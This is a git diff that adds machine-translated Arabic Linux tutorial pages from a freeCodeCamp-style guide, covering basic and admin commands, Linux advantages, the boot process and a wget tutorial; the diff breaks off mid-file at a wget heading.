+6.  `pwd` أين أنا؟ يمكن أن يكون نظام Linux غير متسامح ، خاصة عند حذف شيء ما. تأكد من أنك تعرف قبل إصدار الأوامر الخاصة بك.
+7.  `mail` mail ليس برنامج `mail` Linux جيدًا ، ولكنه قد يكون مفيدًا حقًا. يمكنك إنشاء رسالة وإضافة نص ، ومستلم ، ومرفقات جميعها في أمر واحد. مثال: `echo "We're having a great time." | mail -s "Wish you were here!" -A postcard.png -t mom@example.com`
+8.  `cut` عندما يكون لديك سلسلة مع فواصل في ذلك ، استخدم `cut` لتصفية حقول معينة. مثال: `echo "this, that, and the other" | cut -d, -f2 # "that"`
+9.  `grep` للعثور على أسطر نصية تحتوي على سلسلة معينة ، استخدم grep. مثال: `grep 'root' /etc/passwd # root:x:0:0:root:/root:/bin/bash`
+10.  `sed` استخدم sed لإيجاد وتغيير سلسلة فرعية في جزء من النص. مثال: `echo "this, that, and the other" | sed 's/that/those/' # "this, those, and the other"`
+11.  `shutdown` اغلاق النظام وإيقاف الطاقة. مثال: `shutdown -h now` إيقاف `shutdown -h now` النظام فوراً. `shutdown -h +5` يغلق النظام بعد خمس دقائق.
+
+استخدم هذه الأوامر في البرامج النصية وفي سطر الأوامر. إنها كلها أوامر قوية للغاية ، وصفحة رجل لينكس لديها الكثير من المعلومات حول كل منها.
+
+* * *
+
+أيضًا ، الأوامر المهمة المستخدمة لمسؤولي النظام هي التالية:
+
+1.  قيادة `uptime` في نظام التشغيل Linux ، تظهر مدة التشغيل منذ مدة تشغيل النظام وعدد المستخدمين الذين يقومون بتسجيل الدخول حاليًا ، كما تعرض متوسط ​​الحمل لفترات زمنية تتراوح بين 1،5 و 15 دقيقة.
+    
+2.  `w` القيادة سيعرض للمستخدمين الذين تم تسجيل دخولهم حاليًا والعمليات الخاصة بهم جنبًا إلى جنب مع عروض متوسطات التحميل. كما يظهر اسم تسجيل الدخول ، اسم tty ، المضيف البعيد ، وقت تسجيل الدخول ، وقت الخمول ، JCPU ، PCPU ، الأمر والعمليات.
+    
+3.  قيادة `users` يعرض أوامر المستخدمين المسجلين حاليًا للمستخدمين. لا يحتوي هذا الأمر على معلمات أخرى غير المساعدة والإصدار.
+    
+4.  `who` القيادة الذين يأمرون ببساطة بإرجاع اسم المستخدم والتاريخ والوقت ومعلومات المضيف. من هو أمر مشابه لأمر w. على عكس الأمر w الذي لا يطبع ما يفعله المستخدمون. يتيح توضيح ورؤية مختلف بين من وأوامر ث.
+    
+5.  `whoami` القيادة أمر whoami طباعة اسم المستخدم الحالي. يمكنك أيضًا استخدام أمر "من أنا" لعرض المستخدم الحالي. إذا قمت بتسجيل الدخول كجذر باستخدام الأمر sudo الأمر "whoami" بإرجاع الجذر كمستخدم الحالي. استخدم أمر "من أنا" إذا كنت تريد معرفة المستخدم الذي سجل الدخول بالضبط.
+    
+6.  `ls` القيادة LS عرض قائمة من الملفات في شكل مقروء الإنسان.
+    
+7.  قيادة `crontab` قائمة جدولة المهام للمستخدم الحالي مع الأمر crontab و -l الخيار.
+    
+8.  `less` القيادة أمر أقل يسمح بسرعة عرض الملف. يمكنك صفحة صعودا وهبوطا. اضغط على "q" للإقلاع من النافذة الأقل.
+    
+9.  `more` القيادة مزيد من الأوامر يسمح بسرعة عرض تفاصيل الملف وتظهر في النسبة المئوية. يمكنك صفحة صعودا وهبوطا. اضغط على "q" للخروج من نافذة أخرى.
+    
+10.  `cp` القيادة نسخ الملف من المصدر إلى الوجهة مع الحفاظ على نفس الوضع.
+    
+
+فيما يلي قائمة الأوامر المستخدمة بكثرة من قبل adiminstrator. هذه ليست كاملة ولكنها قائمة صغيرة من الأوامر للإشارة عند الحاجة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/advantages-of-linux/index.md b/client/src/guide/arabic/linux/advantages-of-linux/index.md
new file mode 100644
index 0000000000..e8bea5ec40
--- /dev/null
+++ b/client/src/guide/arabic/linux/advantages-of-linux/index.md
@@ -0,0 +1,51 @@
+---
+title: Advantages of Linux
+localeTitle: مزايا لينكس
+---
+## تحسينات مستمرة وفعالة.
+
+تحدث تحديثات Linux من خلال التعاون العالمي للمطورين. يتم توثيق الأخطاء وحلها بشكل أسرع مع هذا النوع من الدعم. أيضا ، لأن المطورين هم أيضا المستخدمين النهائيين لديهم الدافع المناسب للتأكد من أنه يلبي احتياجات المستخدم وأنه مصمم للعمل بشكل جيد.
+
+## أقل خطر.
+
+البرامج هي فقط جيدة مثل الدعم الذي قدمته. تخيل هذا: يتم إنشاء قطعة من البرمجيات من قبل شركة XYZ وبعد ذلك على الطريق ، فإنها تفلس أو تشتري من قبل شركة أخرى تقرر خفض دعمها. لن يرى البرنامج أبداً أي تحسينات أو إصلاحات ، وبالتالي فإن فائدته ستنقص حتماً وتموت. إن Linux مملوك ومدار من قبل كيان أو شركة واحدة ، لذا لا يمكن أن يحدث هذا الوضع. أكثر من أي شخص حر في استلامه والمساهمة كذلك. من غير المحتمل أن يخسر خطر دعم لينكس بسبب شعبيته الواسعة واستخدامه.
+
+## وزن خفيف.
+
+متطلبات Linux للتشغيل على نظام أقل بكثير من Windows أو Mac. باستخدام توزيع Linux الصحيح ، يمكن للمستخدم الحصول على إعداد متواضع ، وسيمنح نظام التشغيل Linux قيمة النظام. يمكن أيضًا أن تكون مساحة القرص ومساحة الذاكرة أقل أيضًا. بعض التوزيعات مناسبة لوحدات المعالجة المركزية (CPUs) التي يعود تاريخها إلى عائلة Pentium ، والبعض الآخر يحتاج إلى أقل من 128 ميغابايت من ذاكرة الوصول العشوائي ونحو نفس المقدار لمساحة القرص!
+
+## موثق بشكل ثقيل للمبتدئين والمستخدمين المتقدمين على حد سواء.
+
+لدى Linux مجتمع نشط ممن لديهم الرغبة في مشاركة معرفتهم ومساعدة (مثل FreeCodeCamp!). توجد أدوات سطر أوامر مدمجة في Linux توفر وثائق حول الأوامر والمكتبات والمعايير وما إلى ذلك ( [الصفحات البشرية وصفحات](https://en.wikipedia.org/wiki/Man_page) [المعلومات](https://en.wikipedia.org/wiki/Info_(Unix) ) ، وتتوفر وثائق على الإنترنت في مجموعة متنوعة من التنسيقات بما في ذلك [مشروع توثيق Linux](http://www.tldp.org/) ، [LinuxQuestions](http://www.linuxquestions.org/) ، [ServerFault](http://serverfault.com/) و [Arch Wiki](https://wiki.archlinux.org/) .
+
+بالإضافة إلى الوثائق ، هناك الكثير من المجتمعات المفيدة [والمرحبة](https://www.reddit.com/r/linuxquestions/) للقادمين الجدد لطرح أسئلة مثل [Ask Ubuntu](https://askubuntu.com/) و [Reddit's r / linuxquestions](https://www.reddit.com/r/linuxquestions/) .
+
+هناك شهادات ذاتية الإيقاع التي يمكن اتخاذها والتي يتم التعرف عليها في صناعة تكنولوجيا المعلومات ( [CompTIA's Linux +](https://certification.comptia.org/certifications/linux) و [LPIC's LPIC tests](https://www.lpi.org) ). على الرغم من أنه ليس مطلوبًا ، فإن التعلم [C](https://en.wikipedia.org/wiki/C_(programming_language) ) يمنح المستخدم القدرة على مراجعة شفرة Linux لمعرفة ما يتم تشغيله.
+
+## دعم الأعمال.
+
+يعتمد العالم على نظام لينكس الذي يدعم الأنظمة المهمة ، لذا فإن الطلب لن يتلاشى. هذا مهم ليس فقط لأولئك الذين يساهمون في لينكس ، ولكن أيضًا لأولئك الذين يدعمونه (الوظائف!). يصبح دعم Linux أكثر أهمية في مجال تكنولوجيا المعلومات ، ولكن أيضًا جعل هذه المعرفة كمطور ستجعلها أكثر تقريبًا وفائدةً (مثل [مطوري المكدس الكامل](https://medium.com/chris-messina/the-full-stack-employee-ed0db089f0a1#.ubttrv255) ).
+
+## إمكانية التشغيل المتداخل مع أنظمة التشغيل الأخرى.
+
+يدعم Linux برنامج التشغيل لأنظمة الملفات NTFS و HFS + (التي يستخدمها Windows و Mac) وكذلك [Samba](https://www.samba.org/) لدعم خدمة الملفات / الطباعة على أجهزة Windows.
+
+## دعم أفضل للأجهزة.
+
+بالنسبة لأنظمة التشغيل الأخرى ، عادة ما يتعين على المستخدم الانتقال إلى موقع الشركة المصنعة للحصول على دعم السائق لأنواع مختلفة من الأجهزة. يدعم Linux kernel غالبية الأجهزة تلقائيًا من خلال التوصيل والتشغيل (إلى حد كبير بسبب مجتمع المصدر المفتوح). تقوم بعض الشركات المصنعة أيضًا بتطوير إصدارات Linux الخاصة ببرامج التشغيل الخاصة بها والتي يمكن تركيبها بسهولة عبر مستودع البرامج للتوزيع أو عن طريق تثبيت الثنائيات المقدمة يدويًا.
+
+## توافر البرامج / التوافق.
+
+يحتوي Linux على مجموعة غنية من التطبيقات المتوفرة. لديها [تطبيقات مكتبية](https://www.libreoffice.org/discover/libreoffice/) ، ومتصفحات ويب ( [Google Chrome](https://www.google.com/chrome/browser/desktop/) [وموزيلا فايرفوكس](https://www.mozilla.org/en-US/firefox/new/) ) ، [ومشغلات الوسائط](http://www.videolan.org/vlc/) ، [ومعالجة](http://www.openshot.org/) [الصور](https://www.gimp.org/) / [الفيديو](http://www.openshot.org/) ، إلخ. لألعاب الفيديو ، يعمل [Steam](http://store.steampowered.com/about/) على Linux الذي يحتوي على العديد من الألعاب المدعومة. يمكن أيضًا تشغيل تطبيقات Windows داخل Linux (راجع [Wine](https://www.winehq.org/) للحصول على التفاصيل).
+
+## بنيت من أجل التنمية.
+
+نظرًا لأن نظام Linux تم تصميمه في الأساس للمطورين من قِبل المطورين ، فقد أمضوا الكثير من الوقت والجهد في تحسين الأدوات التي سيستخدمونها. له [غلاف](https://en.wikipedia.org/wiki/Unix_shell) قوي يمكن استخدامه لمجموعة متنوعة من المهام البرمجية والإدارية ( [Bash](https://en.wikipedia.org/wiki/Bash_(Unix_shell) ) هو الخيار الأكثر شيوعًا والاختيار الافتراضي لنظام Linux). في حين أن لينكس يحتوي على ما [يسمى](https://en.wikipedia.org/wiki/Gedit) "المفكرة" في [gedit](https://en.wikipedia.org/wiki/Gedit) ، فإنه يوفر أيضًا محررات أكثر قوة وقابلة للتخصيص على أساس النص مثل [Vim](https://en.wikipedia.org/wiki/Vim_(text_editor)) ) و [Emacs](https://en.wikipedia.org/wiki/Emacs) (من المستحسن أن يعرف مستخدمو Linux واحدًا من هؤلاء المحررين على الأقل). هناك أيضًا IDEs المتاحة لتطوير الويب مثل [Atom](https://atom.io/) و [Aptana](http://www.aptana.com/) / [Eclipse](https://eclipse.org/) و [Sublime](https://www.sublimetext.com/) و [KomodoIDE](http://komodoide.com/) ، على سبيل المثال لا الحصر. يمكن لنظام Linux أيضًا استخدام برامج مثل [Apache](https://httpd.apache.org/) لإعداد خادم ويب محلي للاختبار ، و [Git](https://git-scm.com/) للتحكم في الإصدار ، وغيرها من الأدوات / اللغات مثل [Node.js](https://nodejs.org/en/) / [Ruby](https://www.ruby-lang.org/en/) / [SaSS](http://sass-lang.com/) / [Heroku](https://www.heroku.com/) جميعها تدعم لينكس ولديها أدوات سطر الأوامر التي يمكنها يمكن استخدامها بدلاً من واجهة المستخدم الرسومية.
+
+## تخصيص.
+
+يسمح Linux للمستخدم بتغيير تصميم وموضوعات سطح المكتب وإضافة أدوات وأكثر. يمكن إجراء هذه التغييرات مع بيئات سطح المكتب. البيئات المختلفة لديها مجموعة مختلفة من الخيارات. بعض الشعبية منها: كيدي ، جنوم ، إكس أف سي إي ، بانثيون.
+
+## انه مجانا.
+
+من الصعب التغلب على ذلك!
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/basic-linux-commands/index.md b/client/src/guide/arabic/linux/basic-linux-commands/index.md
new file mode 100644
index 0000000000..cbf249b7c3
--- /dev/null
+++ b/client/src/guide/arabic/linux/basic-linux-commands/index.md
@@ -0,0 +1,51 @@
+---
+title: Basic Linux Commands
+localeTitle: أوامر لينكس الأساسية
+---
+## أوامر لينكس الأساسية
+
+عند البدء باستخدام linux ، هناك بعض الأوامر الأساسية التي يجب أن يعرفها الجميع.
+
+1.  **مؤتمر نزع السلاح** - تغيير الدليل
+
+*   سيأخذك cd متبوعاً بمسار أو مسار ملف داخل هذا المجلد (مجلد).
+
+1.  **ls** - list list
+
+*   سيتم عرض `ls` النوع ومحتويات الدليل الحالي.
+
+1.  **رجل** - قيادة يدوية
+
+*   يظهر لك الدليل للأمر التالي. هذا مفيد للغاية عند محاولة معرفة كيفية عمل أمر غير مألوف. على سبيل المثال ، اكتب `man ls` لكل شيء تحتاج إلى معرفته عن الأمر ls. اكتب `q` للخروج.
+
+1.  **pwd** - المسار
+
+*   اكتب `pwd` لعرض المسار إلى دليلك الحالي.
+
+1.  **mkdir** - جعل الدليل
+
+*   يقوم هذا الأمر ، متبوعًا بالاسم الذي ترغب في تسميته باسمك ، بإنشاء دليل جديد. سوف `mkdir folder1` إجراء دليل جديد يسمى folder1.
+
+1.  **rmdir** - إزالة الدليل
+
+*   يزيل الدليل الذي يتبع الأمر. `rmdir folder1` سيتم حذف الدليل الذي يسمى folder1 إذا كان موجودا.
+
+1.  **جمهورية مقدونيا** - إزالة
+
+*   هذا الأمر يزيل الملفات ، وليس الدلائل. سوف `rm file.txt` إزالة الملف المسمى file.txt طالما أنه موجود في الدليل الحالي.
+
+1.  **لمسة** - يخلق الملف
+
+*   يتم استخدام الأمر touch لإنشاء ملف. يمكن أن يكون أي شيء ، من ملف txt فارغ إلى ملف zip فارغ. ستعمل "touch new.txt" على إنشاء ملف جديد باسم جديد.
+
+1.  **م** - التحرك
+
+*   استخدم الأمر mv لنقل الملفات عبر سطر الأوامر. يمكننا أيضًا استخدام الأمر mv لإعادة تسمية ملف. على سبيل المثال ، إذا أردنا إعادة تسمية "نص" الملف إلى "جديد" ، فيمكننا استخدام "mv text new".
+
+1.  **انقر بزر الماوس الأيمن** - نسخ ولصق
+
+*   هذا واحد هو أقل من القيادة وأكثر من الكيفية ، ومع ذلك ، فمن المفيد جدا للقيام بأي شيء تقريبا في محطة على لينكس. للبدء ، حدد النص مثل العادي ثم "النقر بزر الماوس الأيمن" على الماوس لنسخ تحديد. يجب أن تشاهد الجزء المميز دون تمييز ، وهذا يعني أنك قمت بنسخ التحديد. الآن "انقر بزر الماوس الأيمن" على المكان الذي تريد لصق التحديد وإتمامه.
+
+1.  **أقل** - عرض محتوى الملف
+
+*   استخدم `less filename.txt` لعرض محتويات الملف والتنقل خلالها. بشكل افتراضي ، سيتم الانتقال أقل عبر صفحة الملف حسب الصفحة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/common-terms-every-linux-user-should-know/index.md b/client/src/guide/arabic/linux/common-terms-every-linux-user-should-know/index.md
new file mode 100644
index 0000000000..946fa4414d
--- /dev/null
+++ b/client/src/guide/arabic/linux/common-terms-every-linux-user-should-know/index.md
@@ -0,0 +1,29 @@
+---
+title: common terms every Linux user should know.
+localeTitle: شروط مشتركة يجب على كل مستخدم لينكس أن يعرفها.
+---
+# يجب أن تعرف المصطلحات الشائعة لكل مستخدم Linux.
+
+*   **Distro:** هي كلمة مختصرة لـ "distribution" ؛ والتوزيع هو نوع خاص من نظام التشغيل GNU / Linux - مثل Redhat و Fedora و Ubuntu و Debian.
+    
+*   **Shell:** هذا هو البرنامج الذي يقرأ إدخال الأوامر ويقوم بتشغيل الأوامر المحددة. تسمى علامة الدولار (\`$ ') التي تسبق المؤشر بـ shell prompt؛ يخبرك أن النظام جاهز وينتظر المدخلات في شكل أوامر.
+    
+*   **CLI:** تعني _واجهة سطر الأوامر_ . هي واجهة المستخدم البسيطة التي توفر الخدمات التي يحتاجها المستخدم للتفاعل مع نظام التشغيل Linux باستخدام أوامر نصية. انها تحمي المستخدم من الاضطرار إلى معرفة تفاصيل الأجهزة المعقدة.
+    
+*   **واجهة المستخدم الرسومية:** لتقف على واجهة المستخدم الرسومية. هو جزء من نظام لينكس الذي يضم نوافذ ، أيقونة ، صور (رسومات بشكل عام) ، والتي تجعل النقطة والنقر ممكن.
+    
+*   **Terminal:** هو تطبيق يتم استخدامه للوصول إلى shell Linux.
+    
+*   **نواة:** هذا هو جوهر نظام لينكس - ما يمكن أن تسميه "الدماغ". تتحكم kernel في موارد جهاز الكمبيوتر وتحدد كيفية استخدامها من خلال التفاعل المباشر مع أجهزة الكمبيوتر.
+    
+*   **التكس:** هو التميمة الرسمية للينكس. هذا هو البطريق الذي يرتبط عادة مع لينكس - إذا كنت قد رأيت البطريق الأصفر والأسود على الإنترنت ، فإنك قد رأيت التكس.
+    
+*   **الجذر:** المعروف أيضًا باسم المستخدم الفائق ، هو اسم المستخدم "الافتراضي" لمسؤول جهاز Linux. يتم تمثيلها بشكل علني على محطة لينكس witjh رمز **"#"** .
+    
+*   **الأوامر:** عبارة عن مدخلات نصية أو تعليمات يتم تقديمها إلى جهاز linux (عن طريق كتابتها في الطرفية) لإخبارها بما يجب القيام به (أي ، للحصول على نتيجة مطلوبة).
+    
+*   **المستودع:** مستودع (أو "repo" للاختصار) عبارة عن مجموعة من حزم البرامج للتوزيعة التي تتم استضافتها عادة عبر الإنترنت. يمكن تثبيت البرامج من المستودعات الافتراضية التي يوفرها توزيعة الطرف الآخر والجهات الخارجية عند إضافتها إلى مدير الحزم.
+    
+*   **Package Manager:** هو برنامج يتيح لك البحث عن التطبيقات وغيرها من وظائف إدارة التطبيقات وتثبيتها وتحديثها وإزالتها. يحتوي كل توزيعة على رسوم من مديري الحزم النهائية (مثل Ubuntu Software Center) وأدوات إدارة حزمة سطر الأوامر مثل "apt-get".
+    
+*   **التبعية:** التبعية هي برنامج حاسوبي يحتاج البرنامج الذي تريد تثبيته إلى تشغيله. عند تثبيت أحد البرامج ، يقدم قائمة بتبعياتها إلى مدير الحزم الافتراضي للتحقق مما إذا كانت مثبتة بالفعل ، وتنزيلها من مستودع تخزين إذا لم تكن كذلك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/create-file-with-sepcific-size/index.md b/client/src/guide/arabic/linux/create-file-with-sepcific-size/index.md
new file mode 100644
index 0000000000..a06b54710e
--- /dev/null
+++ b/client/src/guide/arabic/linux/create-file-with-sepcific-size/index.md
@@ -0,0 +1,19 @@
+---
+title: Create a dummy file with a specific size
+localeTitle: قم بإنشاء ملف وهمي بحجم معين
+---
+## كيفية إنشاء ملفات وهمية بحجم معين باستخدام الأمر "dd":
+
+يمكن استخدام الأمر "dd" لإنشاء ملف بحجم معين. هذا مفيد إذا كنت ترغب في اختبار سرعة التنزيل ، أو أي اختبارات أخرى ، وتحتاج إلى ملف بحجم معين.
+
+ `dd if=/dev/zero of=file_name.txt bs=1024k count=10 
+` 
+
+سيؤدي ذلك إلى إنشاء ملف بحجم 1 ميغابايت يسمى file\_name.txt.
+
+bs هو حجم البايت الخاص بك والعد يمثل عدد الكتل. طريقة سهلة للنظر هي 1024 كيلو X 10.
+
+إليك طريقة أكثر بساطة لإنشاء ملف 1MB:
+
+ `dd if=/dev/zero of=file_name.txt bs=1MB count=1 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/getting-started/index.md b/client/src/guide/arabic/linux/getting-started/index.md
new file mode 100644
index 0000000000..b072205940
--- /dev/null
+++ b/client/src/guide/arabic/linux/getting-started/index.md
@@ -0,0 +1,35 @@
+---
+title: Getting Started
+localeTitle: ابدء
+---
+## اختيار التوزيع.
+
+هناك أنواع مختلفة من توزيعات لينكس للاختيار من بينها في الوقت الحاضر ، واختيار واحد هو مصدر قلق كبير في عالم Linux حاليًا. مع الأخذ في الاعتبار من السهل استخدام أنظمة التشغيل ، أعلى الكلاب في هذه الفئة هي: أوبونتو - مشتق من نظام ديبيان المستقر ، يزدهر أوبونتو في بيئة سهلة الاستخدام وحديثة. Mint - على أساس Ubuntu و Debian ، يتميز نظام التشغيل هذا بميزات رائعة مثل توافق PPA الخاص بـ Ubuntu ، وهو مدير حزمة apt. توزيع النعناع الأساسي تذكير Windows ، هذا يمكن أن يكون سمة جيدة للمستخدمين comming من Windows. Trisquel - توزيع مشتق من Ubuntu يركز فقط على استخدام البرمجيات الحرة بالكامل ، مع تجنب البرمجيات الاحتكارية. تمت الموافقة على Trisquel بواسطة مؤسسة البرمجيات الحرة (FSF).
+
+## تثبيت.
+
+معظم توزيعات لينكس سهلة التركيب للغاية ، كل المعلومات تظهر بين كل خطوة من خطوات التثبيت.
+
+إحدى الخطوات المهمة التي يجب الانتباه إليها هي عند تحديد مكان تثبيت توزيعة Linux الجديدة. بالنسبة للمستخدمين الأوائل ، من الأفضل اختيار الخيار "الإرشادي" حيث أنه سيفعل كل شيء من أجلك.
+
+تذكر أن تقرأ جميع الخطوات بعناية وترك بعض المساحة في الأقراص الصلبة الخاصة بك توزيعة جديدة ، أود أن أقول عن الحد الأدنى 30Gb هو جميل أن يكون.
+
+## المحطة اللعينه.
+
+لا يُخشى من محطة لينكس ، بل من السهل استخدامها مع بعض الممارسات ، ويمكن أن تجعل مهمتنا اليومية آلية بشكل آلي.
+
+في Debian / Ubuntu ومشتقاته ، يكون الاختصار لفتح واجهة سطر الأوامر (Comman Line Interface) هو "Ctrl + Alt + T". دعونا فتح المحطة ومحاولة بعض الأوامر.
+
+cd (تغيير الدليل) - الأمر cd هو أحد الأوامر التي ستستخدمها أكثر في سطر الأوامر في linux. يسمح لك بتغيير دليل العمل الخاص بك. يمكنك استخدامه للتنقل داخل التسلسل الهرمي لنظام الملفات الخاص بك.
+
+ `cd 
+` 
+
+سيؤدي استخدام الأمر cd وحده إلى تغيير الدليل الحالي إلى دليل المستخدم الرئيسي ، الموجود في "/ home / username" كما في "/ home / mark".
+
+ls (قائمة) - يسرد هذا الأمر المحتوى في الدليل الحالي. يمكن استخدامه أيضًا في سرد ​​معلومات الملف.
+
+ `ls 
+` 
+
+الآن يمكننا رؤية دلائلنا في منزلنا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/how-linux-system-boots-up-6-step-description/index.md b/client/src/guide/arabic/linux/how-linux-system-boots-up-6-step-description/index.md
new file mode 100644
index 0000000000..deae23ca79
--- /dev/null
+++ b/client/src/guide/arabic/linux/how-linux-system-boots-up-6-step-description/index.md
@@ -0,0 +1,98 @@
+---
+title: Linux Booting Process
+localeTitle: عملية تمهيد لينكس
+---
+# عملية تمهيد لينكس - عملية وصفية خطوة 6
+
+يتم تعريف نظام التشغيل على أنه برنامج منخفض المستوى يدعم وظائف الكمبيوتر الأساسية ، مثل جدولة المهام والتحكم في الأجهزة الطرفية. يقوم نظام التشغيل بحمل هذه المراحل الستة عالية المستوى في عملية تمهيد نظام Linux.
+
+![خطوات](https://raw.githubusercontent.com/Ayushverma8/tech-interview-handbook/master/LinuxBootingProcess.jpg)
+
+### 1\. BIOS
+
+*   يرمز BIOS إلى نظام الإدخال / الإخراج الأساسي
+*   ينفذ بعض اختبارات تكامل النظام على القرص الصلب
+*   عمليات البحث والتحميل وتنفيذ برنامج محمل التمهيد ، ومعظمه في سجل التمهيد الرئيسي (MBR)
+*   يبحث عن محمل الإقلاع في القرص المرن أو القرص المضغوط أو القرص الثابت. يمكننا الضغط على مفتاح (عادة F12 من F2 ، ولكن ذلك يعتمد على النظام الخاص بك) أثناء بدء BIOS لتغيير تسلسل التمهيد.
+*   بمجرد اكتشاف برنامج محمل التمهيد وتحميله في الذاكرة ، فإن نظام BIOS يعطي التحكم فيه.
+*   لذلك ، في شروط بسيطة وتحميل BIOS وينفذ لودر التمهيد MBR
+
+### 2\. MBR
+
+*   MBR لتقف على سجل التمهيد الرئيسي.
+*   وهي تقع في القطاع الأول من القرص القابل للتمهيد. عادةً / dev / hda أو / dev / sda. لماذا sda و hda؟ الرجوع هنا لمزيد من.
+*   MBR أقل من 512 بايت في الحجم. هذا له ثلاثة مكونات 1) معلومات محمل التمهيد الأساسي في 446 بايت الأولى 2) معلومات جدول القسم في 64 بايت التالي 3) التحقق من صحة mbr في 2 بايت الأخيرة.
+*   يحتوي على معلومات حول GRUB (أو LILO في الأنظمة القديمة).
+*   لذلك ، في شروط بسيطة يقوم MBR بتحميل محمل التمهيد GRUB وتنفيذه.
+
+### 3\. اليرقة
+
+*   وهي تقع في القطاع الأول من القرص القابل للتمهيد. عادةً / dev / hda أو / dev / sda. لماذا sda و hda؟ الرجوع هنا لمزيد من.
+*   إذا كان لديك العديد من صور kernel المثبتة على النظام الخاص بك ، يمكنك اختيار أي منها سيتم تنفيذه ، افتراضياً يتم تثبيت الجزء الرئيسي فقط.
+*   GRUB يعرض شاشة البداية ، ينتظر لبضع ثوان ، إذا لم تقم بإدخال أي شيء ، فإنه يقوم بتحميل صورة النواة الافتراضية كما هو محدد في ملف تكوين grub.
+*   GRUB لديه معرفة بنظام الملفات (لا يفهم لودر لينوكس الأقدم LILO نظام الملفات).
+*   ملف تكوين Grub هو /boot/grub/grub.conf (/etc/grub.conf هو رابط لهذا). فيما يلي عينة من grub.conf من CentOS.
+
+ `#boot=/dev/sda 
+ default=0 
+ timeout=5 
+ splashimage=(hd0,0)/boot/grub/splash.xpm.gz 
+ hiddenmenu 
+ title CentOS (2.6.18-194.el5PAE) 
+          root (hd0,0) 
+          kernel /boot/vmlinuz-2.6.18-194.el5PAE ro root=LABEL=/ 
+          initrd /boot/initrd-2.6.18-194.el5PAE.img 
+` 
+
+### 4\. النواة
+
+*   يحمّل نظام الملفات الجذر كما هو محدد في "root =" في grub.conf
+*   تقوم Kernel بتنفيذ / sbin / init program
+*   هذا هو البرنامج الأول الذي سيتم تنفيذه بواسطة Linux Kernel ، يحتوي على معرف العملية (PID) لـ 1. قم بإجراء 'ps -ef | grep init 'وتحقق من pid. يمكنك أيضا استخدام netstat
+*   initrd لتقف على قرص RAM الأولي.
+*   يتم استخدام initrd بواسطة kernel كنظام ملفات جذر مؤقت حتى يتم تمهيد kernel ويتم تثبيت نظام الملفات الجذر الحقيقي. كما أنه يحتوي على برامج التشغيل الضرورية التي تم تجميعها بالداخل ، والتي تساعد على الوصول إلى أقسام محرك الأقراص الثابتة والأجهزة الأخرى.
+
+### 5\. التهيئة
+
+*   يتطلع إلى الملف / etc / inittab لتحديد مستوى تشغيل Linux.
+    
+*   فيما يلي مستويات التشغيل المتوفرة
+    
+*   0 - توقف
+    
+*   1 - وضع المستخدم المفرد
+    
+*   2 - متعدد المستخدمين ، دون NFS
+    
+*   3 - وضع متعدد المستخدمين الكامل
+    
+*   4 - غير مستخدمة
+    
+*   5 - X11
+    
+*   6 - إعادة التشغيل
+    
+*   يحدد Initle initlevel الافتراضي من / etc / inittab ويستخدم ذلك لتحميل كل البرامج المناسبة.
+    
+*   تنفيذ "grep initdefault / etc / inittab" على نظامك لتحديد مستوى التشغيل الافتراضي
+    
+*   إذا كنت ترغب في الدخول في مشكلة ، يمكنك تعيين مستوى التشغيل الافتراضي إلى 0 أو 6. بما أنك تعرف ما يعنيه 0 و 6 ، ربما لا تفعل ذلك.
+    
+*   عادة ما تقوم بتعيين مستوى التشغيل الافتراضي إلى 3 أو 5.
+    
+
+### 6\. برامج مستوى التشغيل
+
+*   عندما يتم تمهيد نظام Linux ، قد ترى خدمات مختلفة للبدء. على سبيل المثال ، قد يقول "بدء الإرسال ... حسنا". تلك هي برامج مستوى التشغيل ، والتي يتم تنفيذها من دليل مستوى التشغيل كما هو محدد بواسطة مستوى التشغيل الخاص بك.
+*   اعتمادًا على إعداد مستوى الإعداد الافتراضي الخاص بك ، سيقوم النظام بتنفيذ البرامج من أحد الدلائل التالية.
+*   تشغيل المستوى 0 - /etc/rc.d/rc0.d/
+*   تشغيل المستوى 1 - /etc/rc.d/rc1.d/
+*   تشغيل المستوى 2 - /etc/rc.d/rc2.d/
+*   تشغيل المستوى 3 - /etc/rc.d/rc3.d/
+*   تشغيل المستوى 4 - /etc/rc.d/rc4.d/
+*   تشغيل المستوى 5 - /etc/rc.d/rc5.d/
+*   تشغيل المستوى 6 - /etc/rc.d/rc6.d/
+*   تحت الدلائل /etc/rc.d/rc\*.d/ ، سترى البرامج التي تبدأ بـ S و K.
+*   تبدأ البرامج التي تبدأ بـ S أثناء بدء التشغيل. S لبدء التشغيل.
+*   تبدأ البرامج التي تبدأ بـ K أثناء إيقاف التشغيل. ك لقتل.
+*   توجد أرقام بجوار S و K في أسماء البرامج. تلك هي رقم التسلسل الذي ينبغي أن تبدأ فيه البرامج أو تقتل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/how-to-download-files-with-wget/index.md b/client/src/guide/arabic/linux/how-to-download-files-with-wget/index.md
new file mode 100644
index 0000000000..36a37de112
--- /dev/null
+++ b/client/src/guide/arabic/linux/how-to-download-files-with-wget/index.md
@@ -0,0 +1,43 @@
+---
+title: How to download files using the "wget" utility in Linux
+localeTitle: كيفية تنزيل الملفات باستخدام الأداة المساعدة "wget" في Linux
+---
+## كيفية تنزيل الملفات باستخدام الأداة المساعدة "wget" في Linux
+
+هذه المادة هي تعليمي سريع على استخدام الأداة المساعدة `wget` على نظام التشغيل يونيكس القائمة. جنو Wget هو أداة مجانية للتنزيل غير التفاعلي للملفات من الويب. وهو يدعم بروتوكولات HTTP و HTTPS وبروتوكول نقل الملفات ، وكذلك الاسترداد من خلال وكلاء HTTP.
+
+### تثبيت `wget`
+
+الأداة المساعدة wget هي حزمة متاحة بحرية ومرخصة بموجب ترخيص GNU GPL. يمكن تثبيت هذه الأداة على أي نظام تشغيل يشبه Unix بما في ذلك Windows و MacOS.
+
+### البنية الأساسية
+
+البنية الأساسية لل `wget` هي ...
+
+ `wget [option]... [URL]... 
+` 
+
+### تفاصيل wget
+
+ `wget --version 
+` 
+
+ `wget --help 
+` 
+
+### تنزيل ملف واحد
+
+ `wget http://ftp.gnu.org/gnu/wget/wget-1.5.3.tar.gz 
+` 
+
+### جارٍ التنزيل من FTP
+
+ `wget ftp://ftp.gnu.org/gnu/wget/wget-1.10.1.tar.gz.sig 
+` 
+
+### تقييد حدود سرعة التنزيل
+
